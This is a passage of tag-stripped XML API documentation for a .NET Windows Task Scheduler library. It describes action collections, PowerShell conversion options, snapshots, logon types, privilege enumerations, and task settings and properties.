file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under 